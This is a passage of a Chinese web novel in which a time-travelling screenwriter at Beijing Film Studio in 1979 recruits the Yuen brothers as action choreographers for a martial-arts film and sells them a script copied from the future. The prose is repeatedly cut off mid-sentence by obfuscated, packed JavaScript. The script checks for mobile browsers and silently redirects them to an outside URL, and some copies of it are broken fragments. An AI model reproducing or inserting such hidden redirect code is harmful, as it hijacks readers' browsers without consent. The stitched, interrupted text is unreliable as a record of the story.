袁和平也快走两步,伸出手跟老厂长握了握,热情地说道:“汪厂长您好,我是袁和平,这是我弟弟袁祥仁。” 袁祥仁也走上前跟老厂长握手寒暄了两句。 “我们一直盼着二位的到来,二位一路辛苦了。”老厂长又客气了一句。 “您言重了,我们也一直热切地想回来看看。” 袁和平为什么在大陆、香港的电影圈都能吃得开? 一靠江湖义气,二靠八面玲珑的性格。 汪阳笑了笑,又道:“我没想到,两位袁先生的普通话如此标准,原以为交流会产生点障碍呢。” 袁和平也笑道:“根在这里嘛,自幼家父就教育我们兄弟几个,乡音不能忘却,平日里交流,用的都是京片子。” “袁先生是个不忘本的人啊。” 汪阳这次说的这个袁先生,指的是袁和平的父亲袁小田先生。 这话也暗含着对袁家兄弟的敲打,意思是,学学你父亲的气节吧,既然来了,就别偷偷摸摸跟做贼似的自欺欺人了。 袁和平显然听出了他的潜台词,立马表态道:“我们兄弟也不敢忘本,来之前家父千叮咛万嘱咐,让我们兄弟回到家乡后一定好好干,为祖国的电影事业发展略尽绵薄之力。” 这番话一说,汪阳心里熨帖了。 他拉着兄弟二人走到沙发前,主动介绍道:“《太极》的导演李文化同志,这位是影片的总策划兼编剧高远。” 袁和平先跟李文化握了手,道了声合作愉快。 又把目光定格在高远脸上,特惊奇地问道:“《龙腾虎跃》是您创作的吧?” “没错儿,是我的作品,您看过本子了?” 高远饶有兴趣地打量着对方,骨骼清奇,一双大眼,眼珠子往外凸凸着,一对扇风耳颇为惹眼。 他被香港娱乐圈人士尊称为:袁八爷。 并不是因为他排行老八。 袁和平在亲兄热弟中行二。 是在义结金兰的兄弟中排行第八的缘故。 “承蒙傅先生器重,邀请我担任《龙腾虎跃》的武术指导,所以给我看了眼剧本。傅先生跟我提起过,说这个剧本是北影厂一位年方二十的大才子所写。 今日一见,您果然青年俊彦。” 兄弟俩对视一眼后,袁和平真心实意地夸赞了一句。 港圈这些人,追名逐利,一切向钱看,拜金主义严重,他们只尊重真正有才华的人,因为这些人能够给他们带来实实在在的利益。 显然,高远这种年纪轻轻就做出一番事业的家伙,很符合袁和平的条件。 **的是,高远也想拉拢他。 “您过誉了,才子不敢当,青年俊彦更谈不上,我也就是个一般人儿。” 他比较坚持的人设有两个,第一个是普通大学生,第二个是一般人儿。 “别站着了,都坐下聊吧。”汪阳开口说道。 大家这才落了座。 破沙发又发出各种奇奇怪怪的声音。 “我听傅先生说,是您坚持让我担任这部《太极宗师》的武术指导的,我很好奇,您是通过什么渠道了解的我?” “没您想的那么复杂,因为我看过《醉拳》啊,对影片里成龙同志那套行云流水的拳法印象深刻,得知您是那部片子的武术指导,就拜托了老厂长,又通过傅奇同志冒昧跟您联系了一下。” 哇! 你是搞**工作的吧? 成龙的后缀都加上“同志”二字了。 那我岂不是袁和平同志? 八爷莫名打了个冷颤,别说,“和平”二字加上同志,还真散发着那么一股子白云大妈的独特味道。 但是你千万不要称呼我为“同志”啊,我吃不消的。 袁和平嘿嘿一笑,愣是没敢接这个话茬。 袁祥仁也瑟瑟发抖如鹌鹑。 高远这小子太坏了! 瞧把人家兄弟俩给吓的,脸煞白。 李文化低着头,使劲憋着笑,把脸都憋红了。 那边厢,汪阳和王彬,还有长城那位工作人员互相对视一眼,皆哈哈大笑起来。 王彬对汪阳说道:“老厂长,二位袁先生的意思是,为了干好工作,不去住宾馆,就在我们厂招待所住下来。” 吔! 香港电影人对待**工作抱有如此巨大的热情吗? 不只是汪阳深感惊讶,高远和李文化也感到惊奇。 汪阳笑着点头道:“那就尊重两位袁先生的意见,小王啊,回头你去跟宾馆那边知会一声,把房退掉。” 王彬答应下来。 袁和平迫不及待想跟导演、编剧深入聊聊这部电影。 高远却说道:“您三位舟车劳顿,先去招待所休息一下吧,回头我把演员们介绍给您认识,您看过之后咱们再详细聊。” 袁和平点点头,起身,跟随王彬去招待所安置了。 办公室里只剩下老厂长,高远和李文化了。 高远问李文化道:“什么感觉?” 李文化说道:“挺不起眼一人儿,能行么?十万块港币可别白花了。” 高远笑道:“放心,人家敬业着呢,别看这兄弟二人不起眼,武术设计绝对一流。” 李文化抖着肩膀呲牙一笑,道:“你小子太不是东西了,一句‘成龙同志’,差点儿没把那二位吓尿了。” 老厂长也哈哈大笑道:“没错儿,你忒孙子了,夺笋呐,你这时候要是敢喊他一声和平同志,他当场就能给你跪了。” 高远乐道:“我就是故意的,香港电影圈这帮人,虽说对大陆怀有敬畏心,但享受惯了资本主义的灯红酒绿,骨子里的傲慢是压抑不住的。 我这也算是给他们提个醒儿,让这哥儿俩心里有点数,跟剧组的同志们和平相处啥问题没有,敢出幺蛾子,别说回香港了,立马拉出午门问斩。” “那得犯了多大的罪过啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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这是男朋友第一次送给自己的礼物呢,很有纪念意义的。 “本来就是送你的,你就心安理得的收。”高远笑了笑,又问道:“来找我有事儿啊?” “嗯,听说香港的武指到厂里了,大家都很好奇,托我过来打探打探消息。” 李健群注视着高远,道:“主要是武斌教练,心里不踏实。” 高远明白了,武斌心里有想法了。 “他拜托你过来问问我对他如何安排,是这个意思吧?” 李健群点点头,道:“嗯,我瞧他挺失落,跟我说这事儿时支支吾吾的,心里怪不落忍的,就答应帮他过来问你一句。” 姐姐是善良人啊。 高远笑道:“那你回去后告诉他,让他安心就是了,剧组不会抛弃任何一名同志。至于后面安排他从事什么工作,回头我会跟他聊的。” 李健群笑着说好,起身走了。 诶你别走啊…… 走也行,你不给我来个告别Kiss吗? 高远眼睁睁看着好姐姐快步离开,无力地叹息一声,又走回到书桌前拉开椅子坐了下来,翻着分镜头剧本,苦逼地继续营业。 第155章 你是真损呐 《太极宗师》开头十七场,杨昱乾与人比斗、进陈家沟受阻、与陈少杰起冲突打了起来、一怒退敌、跟陈正英学艺,场场都是打戏。 高远拿着分镜头剧本,琢磨着要不要先试几场简单的,从易到难,把闯塔的戏份放在最后拍。 遭到了袁和平的反对。 这是第二天早上了。 北影厂食堂里,一张餐桌上坐着五个人,高远、李文化、武斌,还有袁家兄弟俩。 袁和平咽下最后一口油条,端起碗来喝了口棒子面粥,一抹嘴说道:“我反倒觉得,如果条件允许,三场小场面的打戏后,立刻拍闯塔的戏份,会更给这些业余演员们增添信心。” 他昨晚看了一夜剧本,俩眼圈乌黑,精神头儿却十足。 因为越看越兴奋。 闯塔啊,七雄塔,这个剧情设置前所未见! “袁导,您说的这个条件允许,具体指的是什么?”高远问道。 “比如说,演员的自身条件和身体状态,操控威亚的工作人员技术达不达标,这都属于条件是否允许的范畴。”袁和平笑着回答道。 他心里松了口气。 喊袁导也成,只要别喊我和平同志就好啊。 “袁导,什么叫威亚?”李文化插了一句。 “就是吊钢丝,我们香港那边叫吊威亚。”袁和平解释道。 “咱们厂有这个东西吗?”李文化一脸懵,大陆都多少年没正经拍过武打片了,导致服装、置景、道具,方方面面都非常落后。 高远耸耸肩,说道:“我哪儿知道啊,这得问道具组的同志。” 武斌这时候接上了话,他道:“厂里没有的话,我们武术队有,钢丝是辅助我们队员训练的工具,吃完饭我去打个电话,让人送过来。” 得知高远和李文化对自己不是很满意,不惜花费重金从香港聘请了两名武术指导来,他就有点慌。 但这会儿他心里踏实了,自己肩负重任啊,要确保李连杰的安全。 小李子可是国家的宝贝,出不得半点差错。 要是因为拍电影受伤了,自己可就愧对领导的信任了。 他其实也有点私心,担不担任武术指导无所谓,只要让自己在剧组里待着,最实惠的是每天能拿两块钱补助。 要知道,这电影一拍短则两个月,长则小半年,那可是不少的一笔钱呢。 高远笑着对他说:“行啊,您可给我们解决大问题了,那就辛苦武教练,待会儿给学校去个电话吧,我们派人过去取也成。” 武斌咧嘴一笑,“大家都忙,让人送一趟吧,高老师你甭跟我这么客气。” 袁和平又把话题拉了回来,道:“那就只有一个问题了,看演员们身体状况调整得如何,身体状况允许的话,我还是建议拍几场简单的打戏适应适应后立刻拍摄闯塔的戏份。” 高远点点头,说道:“闯塔情节是整部影片的重中之重,只要把闯塔拍好了,剩下也就简单了。” 李文化附和道:“我同意。” 这时候,李连杰这个活猴子窜了过来。 他打量着袁和平,挑衅道:“你就是新来的武术指导啊?会功夫不?敢不敢跟我过一手?” 袁和平有点儿懵。 高远怒道:“武媚娘死老伴儿,你失去李治(理智)了?” 众人:“哈哈哈哈……” 李连杰挠着头,咧嘴一笑道:“远哥,瞧您这话说的,我理智绝对在线。” “在哪条线?在高压线上挂着呢?那我们可得离你远点儿,省得再被你牵连,给电**。滚边儿去,老母鸡下鹅蛋,我看你是撑的!”高远一句好听话都没有。 李连杰麻溜儿滚了。 其他几位都笑疯了。 袁祥仁冲高远一挑大拇指,由衷称赞道:“我算是知道高老师为啥能创作出这么多优秀的故事来了,您这张嘴太厉害了。” 袁和平也笑着说:“中华语言博大精深,是个艺术啊。” “二位导演就别夸我了,山外青山楼外楼,你知哪座山来猴?咱们国家最不缺的就是人才,比我强的有的是。刚才那孩子是个愣头青,您二位也多担待吧。” “无妨无妨,他就是李连杰吧?杨昱乾的扮演者?” “对,就是他。” “小伙子形象气质都很棒啊,我听说他练的是翻子拳?” 武斌笑道:“没错,翻子拳。” 袁和平扭头看着李连杰的背影,如同电车痴汉偶遇了吉泽明步,眼神都拉丝了。 他嘀咕道:“我脑子里已经开始有设计了,我会给他设计出一套最适合他特点的动作来。” 这是见猎心喜了。 高远也很期待,在现如今的1979年,自己费尽心思,组了这么一支堪称阵容豪华的拍摄团队,究竟能拍出一部怎样的影片来。 吃过了早饭,临时拼凑的五人小组出了食堂,奔后面的一号摄影棚而去。 高远和武斌略略走慢了些。 “武教练,您来北影厂也有段日子了,有啥感受没?”高远突然问道。 武斌嘿嘿一笑,道:“要说感受啊,最大的感受就是我亲身体会到了拍电影的乐趣。” “也就是说,您也萌生了往电影界转行的念头?” “我这模样,当演员肯定不够格了,没啥特点,如果有机会从事一些幕后工作,我就知足了。” “比如说武指?” “高老师别揭我伤疤啊,我知道我这两下子你们看不上。” “你错了,不是我们看不上,而是您没找对方法。” 武斌双眼一亮,“愿闻其详。” 高远笑道:“具体的我也讲不出来,但您确定要走这条路的话,我建议您后面这段时间多跟二袁接触。 请教也好,偷师也罢,尽可能多地把他俩的东西学到手,没事儿自己多琢磨琢磨,我敢说,不出两年,您就是国内武指行当中当之无愧的头面人物。” 他这番话听得武斌热血沸腾。 武斌点着头,低声道:“我知道该怎么做了,多谢高老师提点啊。” “客气个啥咧,咱们才是自己人。” “没错儿,香港人只是同胞。” 与此同时,袁和平和袁祥仁也在低声交流。 “初次来大陆,也不知道大陆的演员靠不靠谱,如果达不到要求,那就麻烦了。”袁祥仁说道。 “既来之则安之吧,就当是打一份工好了。没听傅先生说过嘛,这剧组找的演员都是全国武术冠军,最低也是全省的冠军,水平估计不错的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他打起来那叫一个行云流水一气呵成,双拳密集如雨点一般,眼花缭乱。 这套拳法在李连杰的表演过程中不仅没有乱了章法,反而给人一种又疾又脆的感觉。 **,像放鞭炮似的。 俗称:翻子一挂鞭! 袁家兄弟俩看傻眼了。 武术套路这个东西,行家一看就懂,它讲究一个精准流畅、力道自然。 袁和平喃喃道:“人才啊这是。” 香港电影圈哪出过这种武打明星,全**硬桥硬马,这两年以成龙同志为代表的花里胡哨开始占据主流,慢慢占领市场,引领潮流。 像李连杰这种一点花架子没有,上来就是真功夫亮相的一个都冇。 “你还会些什么?”他见李连杰打完一趟拳,脸不红心不跳面色如常整理着运动服,声儿都颤了,忙问道。 小李子满脸傲然之色,道:“我会的多了。” 言罢,他后退了几步,一段助跑,双脚踩在椅子上,后空翻360度接了个旋风踢,然后稳稳落地。 袁和平腾地站了起来! 第156章 两个小反派 “要不要我再给你展示一下凌空单手刺枪,和旋风脚转体接凌空劈叉刺刀?”李连杰拽兮兮说道。 袁和平苦笑着说:“好了好了,我已经清楚你的特点了,我再看看其他人的招式,以便于根据大家的特点设计动作。” 李连杰嗖地窜回去了,低声对李健群说道:“群姐,用我远哥的话说,瞧他那一脸没见识的样子,香港人也不过如此嘛。” 李健群轻笑,又瞪他一眼道:“你态度端正一点啊,袁老师可是你远哥费劲了心思才请过来的,你尊重人家一些,别拆你远哥的台。” “我怎么会啊,这你放心就是了。”李连杰笑嘻嘻说道。 “熊欣欣,你来!”高远又喊道。 熊欣欣乐呵呵站起来,上去打了一趟拳。 “老杜!” 杜玉明也展现了一番拳脚。 袁家兄弟本以为,高远上来就扔王炸,后面的演员也就本事平平了。 当葛春燕一套八卦掌打完,兄弟俩又坐不住了,一个女孩子都能把八卦掌练到如此地步,男演员们还用说么,功夫只会更强大。 他俩虽是学京剧出身,却长期混迹于武行,对各路拳法、掌法,甚至棍术都粗通。 要不怎么说袁和平适配性高呢,甭管古装现代,甭管武侠仙侠,更甭管大陆港台,你只要提要求,他都能根据演员的自身条件设计出适合他们的动作来。 这时候,于海笑着说道:“袁先生,我就不用展示了吧?” 袁和平跟着笑了,这是头一次听到别人称呼他先生,“您的功夫我看过了,记忆犹新,您歇着就成。” “那就让我这个老哥给你们展示一套绝活,双手剑。”于海拍着于承惠的膝盖说道。 “什么?双手剑?!” 袁和平望着前半个脑门儿锃亮,后半个脑门儿梳着小辫,一笑很邪性的于承惠,腾地站了起来,激动道:“这位老师会双手剑?双手剑不是早已失传了吗?” 见他有些失态了,高远觉得好笑,心说你小瞧大陆武术家了,大陆武术界藏龙卧虎啊。 他解释道:“于老师访遍天下高手,翻烂无数古籍,方才参悟透螳螂穿林之境界,自创出双手剑的。” “自创的?” 袁和平更感到不可思议了,大陆武林界的人士都这么牛逼吗? 于承惠微笑颔首,拎着把大剑站了起来,走到场地中央,气势逼人一抱拳,双手握住剑柄,一套螳螂穿林剑法表演得行云流水、大气磅礴。 袁和平兄弟俩彻底服气了,大声叫好,一咧嘴,显得大眼珠子更往外凸了。 待于承惠展示完,兄弟俩立马疾步走过去,一人握着于承惠一只手,巴拉巴拉问个不停。 哈拉了几句后,心满意足的兄弟二人走回来。 袁和平苦笑着对高远说道:“高……高老师,我为我之前的轻视说声抱歉,看了大家的表演后,我心服口服!现在就一个感觉,这趟回京,来值了!” 高远一乐,道:“您言重了,大家合作,自然要互相了解一番,演员们展现一下实力,得到您二位的认可,这是好事儿啊。这事儿反过来说,他们也期待二位展示实力呢。” “没问题,动作设计包在我们兄弟俩身上。您提要求就是了。” “两点吧,首先,武打风格一定要快,在摄像机能够捕捉到的范围内,您让演员们要多快打多快。” “OK。” “第二点,虚实结合。” 高远顿了顿,然后张口就来,“虚,指的是阐述拳理。太极一定要与道家、阴阳、人生境界这些虚无的东西结合起来。 一生二、二生三、三生万物之类的。 还有就是,一气贯穿,曲终散转,虚实相生,内劲外静。这便是太极的宗旨之一。” 袁和平乐了,“高老师很懂太极拳的精妙之所在啊。” 袁祥仁也露出一副悠然神往的样子来,他眯着眼说道:“太极者,道也。两仪者,阴阳也。道法自然、一阴一阳谓之拳。 一伸即变化,一缩即凝聚,以静制动,以柔克刚,避实就虚,借力打力,是之为太极!” 好嘴儿! 高远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473292|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一挑大拇哥,嘿嘿笑道:“跟小袁导演一比,我这理**夫就差得远了。我也就剩这点儿理论了,有句话说得好,武打小说都是不懂功夫的人臆想出来的作品。 所以啊,我们这些不懂功夫的人写出来的招数,还得靠两位袁导演的动作设计将之转化为实际效果才行。” “高老师捧了。”袁和平笑道:“那么,咱确定一下实战的招数?” “可以。” “您想让小李怎么打?” 高远琢磨琢磨,忽地站了起来,道:“我也不懂武功,只是在脑子里有点思路,我给二位演示一下吧,动作不到位您二位凑合着瞧。” 袁和平兄弟俩做了个请的手势。 大家也乐了,就爱看高老师讲戏,都目不转睛望着他。 这孙子倒不怯场,他走到众人面前,回忆着上辈子看过的《倚天屠龙记之魔教教主》里,仙风道骨的张三丰教授李连杰扮演的张无忌打太极拳那个片段。 他闭着眼,扎了个空洞的马步,架起胳膊画个圈,嘴里念念有词道:“一个大西瓜,劈为两半,一半给你,一半给他。” 噗! 哈哈哈哈哈…… 大家见他假模假式的样子,瞬间爆发出一阵哄堂大笑。 袁和平没笑,他摸着下巴颏在思考,等高老师做完这套动作后,他说道:“抽象了些。” 高远哪懂什么太极拳啊,他只懂左三拳,右三拳,最后吐了一口痰。 他目光一撇,见道具组的俩同事抬着一口缸走进来,立刻说道:“有了!诶你俩把水缸抬到这边来。” “这是布景用的,抬过去干嘛?”人家根本不听他的,自顾自抬着水缸去安置。 他妈这是小反派啊。 高远脸红脖子粗,也不想跟这二位较劲,扭头说道:“健魁、欣欣,你俩去把水缸抬过来。” 俩汉子当即点头,起身走过去,拦住道具组那俩货的去路,也不说话,就那么直愣愣地看着他俩。 俩道具师被两位大块头锋锐的目光逼视得很快怂了,放下水缸转身就走。 第157章 整的热血沸腾 **魁和熊欣欣相视一笑,提起水缸小跑过来。 在道具师手里重如千斤的水缸,这二位提着跟抓一只小鸡崽子没啥区别。 李文化看着那两位狼狈逃窜的道具师,不由得皱了皱眉。 他当然清楚厂里有很多人看不上高远,明里暗里地给高远制造一些麻烦。 但他也没办法。 前文说过,北影厂实行的是创作集体制度,四大创作集体各有各的领路人,四个领路人又被称为“四大帅”,地位之高可见一斑。 一个导演,身在哪个集体,拍片子就要用哪个集体的人,集体和集体之间是不来事儿的。 你要不用自己集体的人,就会受排挤。 李文化是水华创作集体的成员。 众所周知,水华极看不上高远,觉得高远恃才傲物,不懂得尊重老同志。 前段时间更是在座谈会上当着傅奇石慧两口子,和大家伙儿的面指责他、质疑他。 被高远几句话就挤兑得大丢脸面。 后来,《太极》建组也不顺利,没有艺术指导愿意过来教学,据说也是水导在背后做了工作的缘故。 最后引得老厂长勃然大怒,逼迫着水导主动退休,这事儿才告一段落。 但集体里的同志们都是对水导怀有很深厚感情的,大家一致认为,水导的提前退休,是高远这个毛头小子做通了老厂长的工作所导致的。 有些人明面上不敢说什么,背地里却对他恨之入骨,不配合工作,拖拖拉拉不听你招呼就算是对他的报复了。 李文化虽然看不惯,却也不好多说什么,还不敢不用这些人。 为啥? 因为开工就有补助,你用外人就把这些人得罪了,你动了人家的切身利益,大家能饶得了你? 他有些累心,但剧组的工作不能停摆。 李文化站了起来,和道具组的头儿交流去了。 高远才不会在乎道具组那帮人怎么说他,要不是老厂长强行给他发了“特聘编剧”的证书,他都懒得到北影厂来。 能合作的制片厂多了去了,又不是只有北影厂一家。 他让人把水缸注满水,笑着对袁和平说道:“我们当它里面有一只皮球漂浮着,杨昱乾练功的时候,发现越用力捶打皮球,这球就弹得越高。 但是呢,用手轻轻一摁,诶它下去了。 然后开始不断用手搅动水缸,像这样……” 高远伸进手去顺时针搅动起来,很快形成了一个小漩涡,“我要的是这种感觉。” 大家都凑过来看着。 袁和平一撸袖子说道:“我试试看。” 高远把手抽回来。 袁和平试了试,体验过后如醍醐灌顶一般,亮着眼睛说道:“我搞清楚您的意思了,放心,交给我。祥仁,你来。” 袁祥仁走到他身边,两人低声交流了几句,然后面对面站开,他冲上前奔着袁和平当胸就是一拳。 袁和平微微侧身,跟他过了几招。 紧接着擒住袁祥仁的手腕轻轻往怀里一带,划了一个半圆忽地把人推出去。 袁祥仁夸张的极速后退,然后一个屁股蹲儿摔倒在地。 袁和平学着高远刚才的手势画圈圈,最后双手齐平在胸口,掌心朝下慢慢往下压,与此同时,一口浊气缓缓吐出。 诶,对味儿了! “好!” 不知道哪位同志哥大喊一声。 紧接着,雷鸣般的掌声响了起来。 武斌叹息道:“这就是行家和业余爱好者之间最大的区别啊。” 高远笑着说:“武教练别泄气,您只是没受过专业的训练,多想想,多练练,您也不比他俩差。” 武斌点点头。 李连杰凑到高远身边,道:“袁师傅这套花活儿可以啊。” 高远瞪他一眼,道:“多学着点儿吧,正式开拍了用得上。” “我指定听远哥你的。” 说着,这家伙伸手去摸高远的兜,从兜里摸出一块巧克力来,一掰两半,献宝似的递给李健群一般,讨好地说道:“群姐,快吃。” 李健群无语了,你小子是一点都不见外啊。 “你自己吃吧,我嫌腻。” 李连杰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473293|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘿嘿笑着拆开包装纸,将半块巧克力塞进嘴里。 袁和平冲大家一抱拳,说道:“献丑了!” 他即便有打工人的心态,此刻也热血沸腾起来。 在港岛可没有这么一套冠军级别的超级阵容让他来进行调教。 自己设计的动作能够得到这帮冠军的认可,让袁和平倍感荣耀。 他是个兴奋型武指,一旦找到感觉了,思路立马变得清晰起来。 拽着高远,袁和平双眼明亮道:“我觉得,我们还可以玩点儿花活。” “比如呢?”高远化身捧哏,笑嘻嘻问道。 “比如说……于老师,麻烦您走近些。” 于海、于承惠同时应声。 大家又放声大笑。 袁和平很尴尬,“那啥,为了好区分,我今后喊承惠教练为大于老师,喊于海教练为小于老师,可好?” 两位于教练都说好。 “请小于老师走近一些。” 于海笑着靠过来。 “您教徒弟学武时,不断搅动缸中之水,突然一抬手,啪!缸裂了!继而碎成片!水流满地!” “这个创意绝了!” 随着他这番话落地,高远的思路也被调动起来。 他说道:“我也有个想法不知道能不能行,杨昱乾在林子里练功,树叶落下,汇聚在他双手上,他揉啊揉,揉成一个圆球,他双手一推,这团树叶啪地爆开,周围有气体流动。” “好主意!” “能用!绝对能用!” 两位袁导演更激动了。 望向高远的目光都充满了两股Gay的味道。 高远不寒而栗,又道:“祖国大陆人才济济,也不缺乏秀美风光,我衷心希望跟二位导演紧密合作,拍摄制作出一部经典武打动作片来。” 袁家兄弟俩齐齐点头。 袁和平郑重说道:“说是大实话,作为武术指导,能够有机会跟这么多武术名家合作,实乃三生有幸。请高老师还有在场的诸位放心,我们兄弟俩必将全力相助,与你们一起,拍出一部当代首屈一指的武打片来。” 第158章 抄你的作品挣你的钱 随着袁家兄弟的加盟,剧组的进展陡然提速。 袁和平拉着李连杰商量了几天,终于把他的太极拳套路鼓捣了出来。 然后袁和平兄弟又做了一件事情,教给大家如何吊威亚。 尤其是一点功底都没有的刘冬,是被袁家兄弟俩重点关照的对象。 她饰演女忍者的大桥未久不需要有多华丽的招数,主打一个冷酷无情,上天入地、飞镖嗖嗖嗖就成了。 刘冬在袁和平调教李连杰这段时间里拉着李健群练习投掷石子。 条件简陋,俩人就找了块空地摆个铝盆儿,站在五米开外,往盆儿里丢石子,比谁投得准,并不时发出银铃般的笑声。 玩得不亦乐乎。 都把高远给看笑了。 他自然知道俩姑娘这是在给正式拍摄做准备。 被袁和平重点关照后,刘冬就受罪了,穿得单薄,又被钢丝绳吊着,白皙的皮肤被勒出了一道有一道的红痕,有些甚至都勒破了皮,形成了一道道血痕。 但姑娘忍着,咬着牙一声不吭,竭尽全力把袁指导教的每一个动作都做到位。 这事儿是李健群告诉高远的。 刘冬后背上的泪痕触目惊心,每晚都要涂抹些药膏。 她自己没法弄,这几天都是李健群在帮她抹。 高远不由得感慨道:“这姑娘也是个狠人啊。” 袁和平私下里对高远说过:“香港演员都很拼,因为不拼不行,不拼就出不了头,就挣不到钱。让我没想到的是,大陆的演员们也如此拼命,这一点让我刮目相看了。” 香港的演员们成名前大多来自贫苦人家,或是单亲的家庭,想要改变命运,是因为没有人可以依靠,普遍还都承担着赚钱养家的责任。 像钟楚红、周慧敏、周星驰,都是这种情况。 这一点跟巴西足球巨星多数出自于贫民窟如出一辙。 武斌差人送过来的钢丝是1mm的,后世用的都是吊重特强的进口特细3—5mm钢丝,行话叫过江龙,现在可没有。 高远问袁和平:“这种能行吗?别拍着拍着穿帮了。” 袁和平也咧嘴,道:“条件就这么个条件,刷层黑漆凑合着用吧,应该看不出来。” “你觉得成我就放心了。” 高远也很无奈,是啊,条件就这么个条件,没有过江龙,没有卷扬机,不凑合又能咋办呢? 这属于时代的局限性。 他自问已经在现有的条件下做到最好了,这部电影能不能拍好,剩下就只能看造化了。 高远和李文化原本计划着4月5号正式开拍,但计划赶不上变化快。 袁家兄弟俩对演员们的动作要求太精益求精了,导致原本定好的拍摄计划硬生生往后推迟了十多天。 就在袁家兄弟给演员们特训的这些天里,高远干了一件事,他写了个剧本,还请大姐姐给画了插图,把大姐姐给恶心坏了。 那都是什么东西啊。 会飞的烧鸡! 面若孩童,戴着瓜皮小帽,梳着小辫的坛子人! 听得见水声,流得进脑门儿的流水壁画! 一点就着的画中烛火! 太封建糟粕了。 李健群一心为高远考虑,劝他不要搞封建迷信,这是不对的,传出去对你的声誉有影响。 高远神秘一笑,说无妨无妨,这个本子自己肯定不会在国内拍,这是卖给袁和平挣外快的。 李健群乐了,“这就是你说的咱俩合作那本子啊。” 高远说是。 大姐姐立刻眉开眼笑,爽快接下这个活,花费一礼拜时间按照高远剧本中的描述,把插图画了出来。 这天晚上,高远把袁家兄弟俩请到自己的房间,郑重其事将剧本和插图交到袁和平手中。 袁和平起初有点儿懵,接过来一看立马兴奋了。 剧本首页写着四个大字——《奇门遁甲》 他翻开看了看内容,又仔细看了插图,呼吸都急促起来。 “高老师,这是……送给我的?” 长得丑,想得倒挺美啊你! “这是卖给你的。” 高远知道,袁和平虽然效力于嘉禾,但他自己也有一家电影制作公司,叫和平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480707|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影业。 香港四大班,洪家班、成家班、刘家班、袁家班,前三个武行班子都有大明星坐镇。 尤其是洪金宝和成龙,都能扛票房,刘家良就更不用说了,号召力很强。 唯独袁家班,一个个长得奇形怪状,全是幕后人员,电影公司成立了好几年,也没一部能打的作品。 为此,袁和平很挠头。 高远正是看准了这一点,才把《奇门遁甲》抄出来给他的。 嗯,这部电影本身就是由和平影业在1982年制作完成的。 当然,现如今可没有写出来。 高远这叫抄你的作品挣你的钱。 不费劲儿。 袁和平嘿嘿一笑,道:“高老师倒是坦诚。” 他太清楚这个故事的价值了。 港台那边,现在一说功夫巨星就是成龙。 为啥? 因为成龙已经摸索出一套独属于他的表演风格,他将功夫和搞笑嫁接得特自然流畅,观众没看过这种类型的影片,就贼喜欢。 还有洪金宝,虽说这家伙有点跟风成龙的嫌疑,走的也是搞笑+武打的路子,但人家长得有特点,胖乎乎的,特讨喜。 俗话说这叫有观众缘。 就自己这破公司,因为养着一帮歪瓜裂枣,始终没找到市场定位。 《奇门遁甲》可太好了,它的出现,说句将会开辟一个新类型都不为过。 功夫+灵幻,就叫灵幻功夫片。 他已经预感到只要拍摄出来,票房一定会大爆了,因为影迷们没看过啊。 高远对袁和平的话笑而不语,我当然坦诚了,这钱我挣得光明正大啊。 见他只是笑,还笑得不动声色,袁和平再次对眼前这个年轻人十足的定力感到敬佩不已。 他只好再次开口道:“这样吧,这剧本我要了,至于您的稿费,明天我去找汪厂长谈一谈,我少要一些酬劳就是了。” 这算盘珠子打的,你倒是精明! 高远摇头道:“袁导你这就**道了,你的酬劳跟我的稿费根本就是两码事嘛,怎么能混为一谈呢?” 第159章 他算老几 袁和平哈哈大笑,“高老师倒是一点都不吃亏。” “我并非北影厂的正式职工,跟厂里只是合作关系,所以,北影厂把您二位请来,该支付给您多少酬劳跟我一毛钱的关系都没有。咱们实际一点吧,您直说,这剧本您打算出多少钱购买?” “三万港币,我够有诚意了吧?” 你糊弄傻子呢? 高远把剧本从他手里夺了过来,道:“我给长城公司写的那个《龙腾虎跃》,傅奇同志光辛苦费就给了我三万,您说,您开的这个价格,让我如何感受到您的诚意?” 反应这么大吗? 一言不合说不卖就不卖了? 